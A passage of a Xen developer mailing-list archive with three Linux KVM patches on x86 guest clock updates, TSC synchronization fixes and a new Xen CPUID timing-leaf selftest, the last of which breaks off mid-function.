 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827fc-9c8e-0a2a45070019-5a9b322282c8-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:05 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYE-1AzU; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPT-0m6V;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=Uf6PMMgja7l0D+gznz6ziYSzcjhgw4gAMyV+QMwIS4w=; b=hb/nvHEGmIkkWSIO9fLFyYkl6P
	lhXj0DAUVaYTNlSjh9Ss2Uc7JqT+E0mDSgQF6HZZfS6Uhrl3pFZMXnt57qYqdw8l/FXZns/+M5YY/
	kKM4u3aIR9pCz2XESpfpAi5/Bi1spkdEUwrRa0uWaWvhfktAKSlCmqIgUEiL+l3J8ZMFmlO8ZLLj5
	rdW5ORlo4NyoFiq4LVYWiKqBt5CXZNjaAWZ5DKCm0b5O9mq3eWA3bDwiSAPZNZ/Abx6a7eMs3duc3
	/POuQuY/i9iQJJ3zU2Q5BVdFKXYQi8EURSyU73jVB+7z0aOV1hkkdmaUMI8Kzbxa0vw9EnSuOEcRF
	Rl2ZUp/w==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 25/36] KVM: x86: Avoid gratuitous global clock updates
Date: Fri,  3 Jul 2026 22:18:04 +0100
Message-ID: <20260703212145.343527-26-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1783113725-FD12E25E-AC831E57/0/0
X-purgate-type: clean
X-purgate-size: 2448

From: David Woodhouse <dwmw@amazon.co.uk>

Eliminate two sources of unnecessary KVM_REQ_GLOBAL_CLOCK_UPDATE:

1. kvm_write_system_time(): The global clock update was a workaround for
   ever-drifting clocks based on the host's CLOCK_MONOTONIC subject to
   NTP skew. Now that the KVM clock uses CLOCK_MONOTONIC_RAW, the clock
   does not drift with NTP corrections and there is no need to
   synchronize all vCPUs on boot or resume. Use KVM_REQ_CLOCK_UPDATE on
   the vCPU itself, and only when the clock is being enabled, not
   disabled.

2. kvm_arch_vcpu_load(): In master clock mode, migration between pCPUs
   does not require any clock update since the master clock reference is
   shared. Only request a local KVM_REQ_CLOCK_UPDATE for the vCPU's
   first-ever load (vcpu->cpu == -1) to generate initial pvclock params.
   In non-master-clock mode, keep the global update to synchronize all
   vCPUs.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index f8883c3b8ed2..2a1e1a1ab6ee 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2457,13 +2457,13 @@ static void kvm_write_system_time(struct kvm_vcpu *vcpu, gpa_t system_time,
 	}
 
 	vcpu->arch.time = system_time;
-	kvm_make_request(KVM_REQ_GLOBAL_CLOCK_UPDATE, vcpu);
 
 	/* we verify if the enable bit is set... */
-	if (system_time & 1)
+	if (system_time & 1) {
 		kvm_gpc_activate(&vcpu->arch.pv_time, system_time & ~1ULL,
 				 sizeof(struct pvclock_vcpu_time_info));
-	else
+		kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
+	} else
 		kvm_gpc_deactivate(&vcpu->arch.pv_time);
 
 	return;
@@ -5355,13 +5355,13 @@ void kvm_arch_vcpu_load(struct kvm_vcpu *vcpu, int cpu)
 		 * On a host with synchronized TSC, there is no need to update
 		 * kvmclock on vcpu->cpu migration
 		 */
-		if (!vcpu->kvm->arch.use_master_clock || vcpu->cpu == -1) {
+		if (!vcpu->kvm->arch.use_master_clock) {
 			if (__ratelimit(&vcpu->kvm->arch.kvmclock_update_rs))
 				kvm_make_request(KVM_REQ_GLOBAL_CLOCK_UPDATE, vcpu);
 			else
 				kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
-		}
-
+		} else if (vcpu->cpu == -1)
+			kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
 		if (vcpu->cpu != cpu)
 			kvm_make_request(KVM_REQ_MIGRATE_TIMER, vcpu);
 		vcpu->cpu = cpu;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353759.1609520 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKs-0006jt-2G; Fri, 03 Jul 2026 21:22:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353759.1609520; Fri, 03 Jul 2026 21:22:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKr-0006gm-MO; Fri, 03 Jul 2026 21:22:09 +0000
Received: by outflank-mailman (input) for mailman id 1353759;
 Fri, 03 Jul 2026 21:22:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKo-0005nZ-RA
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKo-00BXCb-80; Fri, 03 Jul 2026 23:22:06 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827c7-2eae-0a2a0a5409dd-0a2a4504c5b0-30
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:06 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f8-a01d-0a2a45040019-5a9b322291dc-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKW-0000000AsYA-412E; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001RP5-3Puq;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=aJbyYvbMlra4ob/lrPKW+13k0D2GomXNtoUlefAARyI=; b=RUX0gU2BmZAS8Mc7MvtqcjpKaA
	4X2GDo7Scxh/FJ1zfZj/ZZUyMDJLZdQtdY/yzpdVZO3bM/BQQLjwYOuR7nQJiiOLfJN8o9bXd0KEm
	l746azezEjoQE2RTg+hpkWKNpt6Vb5ogWz+nAFg5mQQ0InOMCWqd7vLGDc76I66RSvfzFQY+yfOne
	tJbmYqYf4y8NcSnh+ymr0gQ0qUnSjLlbP7a9/JcR68N/4qX/IVF7uUKlxqNM4lp3vkFKExekknJt9
	4Ipax9FNfOZuryGMT0mvzgT9ncQ6Of+VmYZ1R2nRjr/PYhl4mTt99MskS2b0Erewa9tJ3yQ+Kw6dt
	ciUtLalA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 19/36] KVM: x86: Improve synchronization in kvm_synchronize_tsc()
Date: Fri,  3 Jul 2026 22:17:58 +0100
Message-ID: <20260703212145.343527-20-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ebf023/1783113720-ACB3B1CC-02C39D49/0/0
X-purgate-type: clean
X-purgate-size: 3475

From: David Woodhouse <dwmw@amazon.co.uk>

When synchronizing to an existing TSC (either by explicitly writing
zero, or the legacy hack where the TSC is written within one second's
worth of the previously written TSC), the last_tsc_write and
last_tsc_nsec values were being misrecorded by __kvm_synchronize_tsc().
The *unsynchronized* value of the TSC (perhaps even zero) was being
recorded, along with the current time at which kvm_synchronize_tsc()
was called. This could cause *subsequent* writes to fail to synchronize
correctly.

Fix that by resetting {data, ns} to the previous values before passing
them to __kvm_synchronize_tsc() when synchronization is detected.
Except in the case where the TSC is unstable and *has* to be synthesised
from the host clock, in which case attempt to create a nsec/tsc pair
which is on the correct line.

Furthermore, there were *three* different TSC reads used for calculating
the "current" time, all slightly different from each other. Fix that by
using kvm_get_time_and_clockread() where possible and using the same
host_tsc value in all cases.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 35 ++++++++++++++++++++++++++---------
 1 file changed, 26 insertions(+), 9 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 0fa2050f4bd4..ffe5f98a5688 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -203,6 +203,9 @@ module_param(mitigate_smt_rsb, bool, 0444);
  * usermode, e.g. SYSCALL MSRs and TSC_AUX, can be deferred until the CPU
  * returns to userspace, i.e. the kernel can run with the guest's value.
  */
+#ifdef CONFIG_X86_64
+static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp);
+#endif
 #define KVM_MAX_NR_USER_RETURN_MSRS 16
 
 struct kvm_user_return_msrs {
@@ -2854,14 +2857,23 @@ static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 {
 	u64 data = user_value ? *user_value : 0;
 	struct kvm *kvm = vcpu->kvm;
-	u64 offset, ns, elapsed;
+	u64 offset, host_tsc, elapsed;
+	s64 ns;
 	unsigned long flags;
 	bool matched = false;
 	bool synchronizing = false;
 
 	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
-	offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
-	ns = get_kvmclock_base_ns();
+
+#ifdef CONFIG_X86_64
+	if (!kvm_get_time_and_clockread(&ns, &host_tsc))
+#endif
+	{
+		host_tsc = rdtsc();
+		ns = get_kvmclock_base_ns();
+	}
+
+	offset = kvm_compute_l1_tsc_offset(vcpu, host_tsc, data);
 	elapsed = ns - kvm->arch.last_tsc_nsec;
 
 	if (vcpu->arch.virtual_tsc_khz) {
@@ -2904,13 +2916,18 @@ static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
          */
 	if (synchronizing &&
 	    vcpu->arch.virtual_tsc_khz == kvm->arch.last_tsc_khz) {
-		if (!kvm_check_tsc_unstable()) {
+		/*
+		 * If synchronizing, advance the reference point to "now"
+		 * so the matching window slides forward with each vCPU.
+		 */
+		u64 delta = nsec_to_cycles(vcpu, elapsed);
+
+		data = kvm->arch.cur_tsc_write + delta;
+
+		if (!kvm_check_tsc_unstable())
 			offset = kvm->arch.cur_tsc_offset;
-		} else {
-			u64 delta = nsec_to_cycles(vcpu, elapsed);
-			data += delta;
-			offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
-		}
+		else
+			offset = kvm_compute_l1_tsc_offset(vcpu, host_tsc, data);
 		matched = true;
 	}
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353752.1609462 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKn-0005OF-MH; Fri, 03 Jul 2026 21:22:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353752.1609462; Fri, 03 Jul 2026 21:22:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKn-0005Me-Er; Fri, 03 Jul 2026 21:22:05 +0000
Received: by outflank-mailman (input) for mailman id 1353752;
 Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKl-00051M-OQ
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKj-00A7vt-4i; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827a3-e002-0a2a0a5209dd-0a2a4507d220-22
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f7-9c8e-0a2a45070019-5a9b3222db84-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYJ-27pF; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPj-1hBl;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=dcChYx15IhyePM7jxxFL8xpvT1sezeCblvUhAhYmoTc=; b=PpxWMrvMWWKNxttwja7nHYJHNJ
	Tdw+PzgGZjwODRY98hW5BR+tAtE89GRECyXkUmSTeJX1rBty2kcY8W+58CRVlWYk4Bz4l41ihaFha
	g01FYDjNMOh8OKhpw6xaihQ43pPDg704uo3EVd3bW5xMlHRGXnL0d+Hffs2+SQF+WpgWeEp7CgGs1
	Qbg3PriQlFgedyBXaFLnwXicyc7Ph84YMeMxmkCegXoq2LTS4hfbXFUPjEA8KQWIbUH+wERqoWG49
	xsrw3fT911L0O1Vdx4DtSCpxTgfx6KSV+Kg3+Gl0SH6biyYxrIIAOSM8tCTHByHs82tPXLS5Knk8Y
	1/TJPGTg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 29/36] KVM: selftests: Add Xen/generic CPUID timing leaf test
Date: Fri,  3 Jul 2026 22:18:08 +0100
Message-ID: <20260703212145.343527-30-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1783113721-FD52025E-D8802687/0/0
X-purgate-type: clean
X-purgate-size: 8822

From: David Woodhouse <dwmw@amazon.co.uk>

Verify that userspace can correctly populate Xen and generic CPUID
timing leaves using the KVM_VCPU_TSC_SCALE and
KVM_VCPU_TSC_SCALE attributes.

This validates that the removal of KVM's runtime Xen CPUID modification
doesn't break guests: userspace queries the effective TSC and bus
frequencies, computes the pvclock mul/shift, populates the CPUID leaves,
and the guest verifies the values match.

The test exercises:
 - KVM_VCPU_TSC_SCALE at native and scaled frequencies
 - KVM_VCPU_TSC_SCALE ratio verification against effective frequency
 - Generic timing leaf 0x40000010 (EAX=tsc_khz, EBX=bus_khz)
 - Xen leaf 3 sub-leaf 0 (ECX=guest TSC kHz)
 - Xen leaf 3 sub-leaf 1 (ECX=mul, EDX=shift)

Gracefully skips TSC scaling tests on hardware without support.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../selftests/kvm/x86/xen_cpuid_timing_test.c | 230 ++++++++++++++++++
 2 files changed, 231 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 7ecaaf82056e..58aac2980cdf 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -141,6 +141,7 @@ TEST_GEN_PROGS_x86 += x86/xss_msr_test
 TEST_GEN_PROGS_x86 += x86/debug_regs
 TEST_GEN_PROGS_x86 += x86/tsc_msrs_test
 TEST_GEN_PROGS_x86 += x86/vmx_pmu_caps_test
+TEST_GEN_PROGS_x86 += x86/xen_cpuid_timing_test
 TEST_GEN_PROGS_x86 += x86/xen_shinfo_test
 TEST_GEN_PROGS_x86 += x86/xen_vmcall_test
 TEST_GEN_PROGS_x86 += x86/sev_init2_tests
diff --git a/tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c b/tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c
new file mode 100644
index 000000000000..2098cb511ef0
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test that userspace can correctly populate Xen and generic CPUID
+ * timing leaves using KVM_GET_TSC_KHZ and KVM_VCPU_TSC_SCALE.
+ *
+ * This validates that the removal of KVM's runtime Xen CPUID modification
+ * doesn't break guests, because userspace has all the information needed.
+ */
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define XEN_CPUID_BASE		0x40000100
+#define XEN_CPUID_LEAF(n)	(XEN_CPUID_BASE + (n))
+#define GENERIC_TIMING_LEAF	0x40000010
+
+/* Values set by host, verified by guest */
+static uint32_t expected_tsc_khz;
+static uint32_t expected_bus_khz;
+static uint32_t expected_tsc_mul;
+static int8_t   expected_tsc_shift;
+static uint64_t host_khz;
+
+static void guest_code(void)
+{
+	uint32_t eax, ebx, ecx, edx;
+
+	/* Check generic timing leaf 0x40000010 */
+	__cpuid(GENERIC_TIMING_LEAF, 0, &eax, &ebx, &ecx, &edx);
+	GUEST_ASSERT_EQ(eax, expected_tsc_khz);
+	GUEST_ASSERT_EQ(ebx, expected_bus_khz);
+
+	/* Check Xen leaf 3, sub-leaf 0: ECX = guest TSC frequency */
+	__cpuid(XEN_CPUID_LEAF(3), 0, &eax, &ebx, &ecx, &edx);
+	GUEST_ASSERT_EQ(ecx, expected_tsc_khz);
+
+	/* Check Xen leaf 3, sub-leaf 1: ECX = mul, EDX = shift */
+	__cpuid(XEN_CPUID_LEAF(3), 1, &eax, &ebx, &ecx, &edx);
+	GUEST_ASSERT_EQ(ecx, expected_tsc_mul);
+	GUEST_ASSERT_EQ((int8_t)edx, expected_tsc_shift);
+
+	GUEST_SYNC(0);
+}
+
+static void add_cpuid_entry(struct kvm_vcpu *vcpu, uint32_t function,
+			    uint32_t index, uint32_t eax, uint32_t ebx,
+			    uint32_t ecx, uint32_t edx)
+{
+	struct kvm_cpuid2 *cpuid = vcpu->cpuid;
+	struct kvm_cpuid_entry2 *entry;
+	int n = cpuid->nent;
+
+	vcpu->cpuid = realloc(vcpu->cpuid,
+			      sizeof(*cpuid) + (n + 1) * sizeof(*entry));
+	cpuid = vcpu->cpuid;
+	cpuid->nent = n + 1;
+
+	entry = &cpuid->entries[n];
+	memset(entry, 0, sizeof(*entry));
+	entry->function = function;
+	entry->index = index;
+	entry->flags = KVM_CPUID_FLAG_SIGNIFCANT_INDEX;
+	entry->eax = eax;
+	entry->ebx = ebx;
+	entry->ecx = ecx;
+	entry->edx = edx;
+}
+
+/*
+ * Compute pvclock mul/shift from frequency, matching kvm_get_time_scale().
+ */
+static void compute_tsc_mul_shift(uint64_t tsc_hz, uint32_t *mul, int8_t *shift)
+{
+	uint64_t scaled = 1000000000ULL;
+	uint64_t base = tsc_hz;
+	int32_t s = 0;
+	uint32_t base32;
+
+	while (base > scaled * 2 || base >> 32) {
+		base >>= 1;
+		s--;
+	}
+	base32 = (uint32_t)base;
+	while (base32 <= scaled || scaled >> 32) {
+		if (scaled >> 32 || base32 & (1U << 31))
+			scaled >>= 1;
+		else
+			base32 <<= 1;
+		s++;
+	}
+	*mul = (uint32_t)((scaled << 32) / base32);
+	*shift = (int8_t)s;
+}
+
+static void run_test(uint64_t tsc_khz)
+{
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct ucall uc;
+	uint32_t effective_tsc_khz, effective_bus_khz;
+	int bus_cycle_ns;
+
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+
+	if (tsc_khz) {
+		pr_info("Testing at TSC frequency %lu kHz\n", tsc_khz);
+		vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)(unsigned long)tsc_khz);
+	} else {
+		pr_info("Testing at native TSC frequency\n");
+	}
+
+	effective_tsc_khz = __vcpu_ioctl(vcpu, KVM_GET_TSC_KHZ, NULL);
+	bus_cycle_ns = vm_check_cap(vm, KVM_CAP_X86_APIC_BUS_CYCLES_NS);
